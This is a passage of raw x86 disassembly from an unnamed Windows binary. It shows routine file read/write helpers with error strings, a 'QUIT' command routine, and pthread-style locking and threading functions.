XREF: sub_42F6F0+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_402216 add esp, 0Ch cmp eax, esi jl short loc_42F813 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42F7EA jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F813: ; CODE XREF: sub_42F6F0+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" nop call near ptr 77C4186Ah add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F82D: ; CODE XREF: sub_42F6F0+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jle short loc_42F883 mov esi, dword_511AA0 loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42F871 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jg short loc_42F84A jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F871: ; CODE XREF: sub_42F6F0+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42F883: ; CODE XREF: sub_42F6F0+F4j ; sub_42F6F0+121j ... push edi call near ptr 77C2C21Bh nop push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42F8A6 push ebx call near ptr 77C40AB1h nop add esp, 4 loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BEF mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F6F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F940: ; CODE XREF: ___:004016A9j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F970: ; CODE XREF: ___:00401D43j sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42F9A7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9A7: ; CODE XREF: ___:0042F99Aj movsx eax, byte ptr [esp+124h] mov edi, dword_511A6C push eax lea ecx, [esp+1Ch] push offset dword_4474B8 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42F9E8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9E8: ; CODE XREF: ___:0042F9DBj push ebx lea eax, [esp+1Ch] push offset dword_4476BC push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FA44 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4476B4 push esi call near ptr 77C41B72h nop add esp, 10h cmp eax, 2 jnz short loc_42FA44 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42FA44: ; CODE XREF: ___:0042FA07j ; ___:0042FA28j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FAA0: ; CODE XREF: ___:004013C0j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42FAD0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FAD0: ; CODE XREF: ___:0042FAC5j push esi push edx lea eax, [esp+10h] push offset dword_4476C8 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42FB0B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FB0B: ; CODE XREF: ___:0042FAFBj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FB70 proc near ; CODE XREF: sub_4016B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn sub_42FB70 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBA0: ; CODE XREF: ___:004016D1j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBD0: ; CODE XREF: ___:0040149Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov esi, dword_511A6C push edx lea eax, [esp+10h] push offset dword_4476E0 push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FC69 push ebx lea edx, [esp+10h] push offset dword_4476D4 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42E490 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FC69: ; CODE XREF: ___:0042FBF1j ; ___:0042FC0Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FCB0: ; CODE XREF: ___:00401C7Bj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42FCD9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FCD9: ; CODE XREF: ___:0042FCD0j push edx lea eax, [esp+4] push offset dword_4476EC push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD30 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42FD69 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42E490 mov eax, [esi+8] add esp, 0Ch push eax call sub_4381FC ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_511AD0 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42FD69: ; CODE XREF: sub_42FD30+Aj pop esi retn sub_42FD30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FD80: ; CODE XREF: ___:004021C1j push edi mov edi, [esp+8] test edi, edi jnz short loc_42FD90 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42FD90: ; CODE XREF: ___:0042FD87j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42FDA6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: ___:0042FD9Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE00: ; CODE XREF: ___:0040151Ej push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FE19 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FE19: ; CODE XREF: ___:0042FE10j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE50: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42FE75 test eax, eax jz short loc_42FE75 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42FE75: ; CODE XREF: ___:0042FE64j ; ___:0042FE68j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEA0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FEB9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FEB9: ; CODE XREF: ___:0042FEB0j mov eax, [esp+0Ch] test eax, eax jz short loc_42FECD cmp eax, 1 jz short loc_42FECD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FECD: ; CODE XREF: ___:0042FEBFj ; ___:0042FEC4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEF0: ; CODE XREF: ___:00401519j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF10: ; CODE XREF: ___:00401834j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF30: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF49 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF49: ; CODE XREF: ___:0042FF40j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF70: ; CODE XREF: ___:00402207j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF89 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF89: ; CODE XREF: ___:0042FF80j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFB0: ; CODE XREF: ___:004019B0j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFE0: ; CODE XREF: ___:004019ABj mov eax, [esp+8] sub eax, 0 jz short loc_430002 dec eax jz short loc_42FFF2 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FFF2: ; CODE XREF: ___:0042FFEAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_430002: ; CODE XREF: ___:0042FFE7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430020: ; CODE XREF: ___:00401C1Cj push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_4300BB mov edi, [esp+18h] test edi, edi jz loc_4300BB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_4300B2 mov eax, [esp+14h] ; DATA XREF: ___:off_444E88o test eax, eax jz short loc_430060 mov eax, [eax] test eax, eax jz short loc_430060 mov eax, [eax] jmp short loc_430062 ; --------------------------------------------------------------------------- loc_430060: ; CODE XREF: ___:00430054j ; ___:0043005Aj xor eax, eax loc_430062: ; CODE XREF: ___:0043005Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_4300A8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_43009F mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43009F: ; CODE XREF: ___:00430097j push edi call sub_401690 add esp, 4 loc_4300A8: ; CODE XREF: ___:00430082j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_4300B2: ; CODE XREF: ___:0043004Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_4300BB: ; CODE XREF: ___:00430029j ; ___:00430035j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430100: ; CODE XREF: ___:0040220Cj push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_430168 mov esi, [ebp+0] test esi, esi jz short loc_430168 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43015E lea eax, [esi+14h] push eax call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43014F push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43014F: ; CODE XREF: ___:0043013Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C8A add esp, 0Ch loc_43015E: ; CODE XREF: ___:0043012Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_430168: ; CODE XREF: ___:0043010Aj ; ___:00430111j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301A0: ; CODE XREF: ___:004017A3j mov eax, [esp+4] push esi test eax, eax jz loc_430254 mov esi, [eax] test esi, esi jz loc_430254 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 278076Dh test eax, eax jnz short loc_4301E7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_430234 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_402068 add esp, 8 mov esi, eax jmp short loc_430230 ; --------------------------------------------------------------------------- loc_4301E7: ; CODE XREF: ___:004301C8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_43020B lea ecx, [esp+14h] push ecx push ebx call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_43020D loc_43020B: ; CODE XREF: ___:004301F7j xor ebx, ebx loc_43020D: ; CODE XREF: ___:00430209j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_430230 mov eax, [esp+10h] push 0 push eax call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 loc_430230: ; CODE XREF: ___:004301E5j ; ___:0043021Fj test esi, esi jnz short loc_43024E loc_430234: ; CODE XREF: ___:004301D2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_5103C8 ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_43024E: ; CODE XREF: ___:00430232j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_430254: ; CODE XREF: ___:004301A7j ; ___:004301B1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430290: ; CODE XREF: ___:00401F6Ej push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4302B3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4302B3: ; CODE XREF: ___:004302A2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4302E0: ; CODE XREF: ___:00401A87j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_430301 mov eax, [ecx] test eax, eax jz short loc_430301 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430301: ; CODE XREF: ___:004302E9j ; ___:004302EFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430320: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_43033D mov eax, [eax] test eax, eax jz short loc_43033D mov ecx, [esp+8] test ecx, ecx jz short loc_43033D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43033D: ; CODE XREF: ___:00430326j ; ___:0043032Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430360: ; CODE XREF: ___:00401636j mov eax, [esp+4] test eax, eax jz short loc_43038A mov ecx, [eax] test ecx, ecx jz short loc_43038A mov eax, [esp+8] cmp eax, 1 jz short loc_43037E test eax, eax jnz short loc_43038A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43037E: ; CODE XREF: ___:00430375j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43038A: ; CODE XREF: ___:00430366j ; ___:0043036Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4303A0 proc near ; CODE XREF: sub_401415j push esi push edi call sub_4012E4 sub_4303A0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 35007CE8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 0E8000000h, 2350168h, 0B4E85390h dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_430460: ; CODE XREF: ___:00402261j push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 34FFBCE8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 3500A7E8h, 0F4E85702h dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401D02j push esi push edi call sub_4012E4 sub_430520 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 1EE89050h, 850234FFh, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_4305A0: ; CODE XREF: ___:00401D39j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401762 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_4306D9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4305DB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4305DB: ; CODE XREF: ___:004305CCj push ebx push ebp push edi push eax push esi call sub_401A64 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402248 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_4306B2 mov eax, [esi+30h] test eax, eax jnz loc_4306B2 cmp [esi+0Ch], ebp jge loc_4306C5 test edi, edi jz short loc_430644 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_430644: ; CODE XREF: ___:00430619j mov edi, [esi+4] push edi nop call near ptr 2770982h push 0 push edi nop call near ptr 2780469h cmp eax, 102h jnz short loc_4306D2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2770B7Fh lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_430750 push ecx push edi call near ptr 2770D73h nop push ebx call sub_4010C3 add esp, 4 push edi call near ptr 2780000h nop mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: ___:004305FDj ; ___:00430608j cmp [esi+0Ch], ebp jge short loc_4306C5 mov edx, [esi+38h] push edx nop call near ptr 27802D5h test eax, eax jnz short loc_4306C9 loc_4306C5: ; CODE XREF: ___:00430611j ; ___:004306B5j mov [esp+10h], ebp loc_4306C9: ; CODE XREF: ___:004306C3j push ebx call sub_4010C3 add esp, 4 loc_4306D2: ; CODE XREF: ___:0043065Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_4306D9: ; CODE XREF: ___:004305BFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_430750: ; DATA XREF: ___:00430680o push 2 call sub_401DED ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430770 proc near ; CODE XREF: sub_401122j mov eax, dword_5103B8 push esi push eax call sub_401190 sub_430770 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_4307AE mov eax, [esp+8] test eax, eax jz short loc_43079C mov eax, [esi] test eax, eax jz short loc_43079C mov ecx, [esi+4] push ecx call eax add esp, 4 loc_43079C: ; CODE XREF: ___:0043078Bj ; ___:00430791j mov edx, [esi+8] mov eax, dword_5103B8 push edx push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 8 loc_4307AE: ; CODE XREF: ___:00430783j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4307E0 proc near ; CODE XREF: sub_401663j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_5103B8 push edx call sub_401190 sub_4307E0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_5103B8 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430830 proc near ; CODE XREF: sub_401B63j arg_0 = dword ptr 4 push esi push offset dword_510900 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_430864 push esi push ecx call sub_40154B add esp, 8 mov esi, eax push offset dword_510900 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430864: ; CODE XREF: sub_430830+17j test eax, eax jnz short loc_43086D mov esi, 16h loc_43086D: ; CODE XREF: sub_430830+36j push offset dword_510900 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: ___:0040211Cj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4308C3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4308C3: ; CODE XREF: ___:004308B2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308E0: ; CODE XREF: ___:004021F3j push esi mov esi, [esp+8] test esi, esi jz short loc_430903 mov eax, [esi] test eax, eax jz short loc_430903 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430903: ; CODE XREF: ___:004308E7j ; ___:004308EDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430920: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_43093D mov eax, [eax] test eax, eax jz short loc_43093D mov ecx, [esp+8] test ecx, ecx jz short loc_43093D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43093D: ; CODE XREF: ___:00430926j ; ___:0043092Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430960: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_43098A mov ecx, [eax] test ecx, ecx jz short loc_43098A mov eax, [esp+8] cmp eax, 1 jz short loc_43097E test eax, eax jnz short loc_43098A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43097E: ; CODE XREF: ___:00430975j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43098A: ; CODE XREF: ___:00430966j ; ___:0043096Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4309A0 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_4309B6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4309B6: ; CODE XREF: sub_4309A0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_4309DD mov eax, [eax] cmp eax, edi jz short loc_4309DD cmp dword ptr [eax], 1 jnz short loc_4309DD mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4309DD: ; CODE XREF: sub_4309A0+1Ej ; sub_4309A0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_430A02 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430A02: ; CODE XREF: sub_4309A0+4Ej lea ebp, [esi+10h] push 1 push edi push 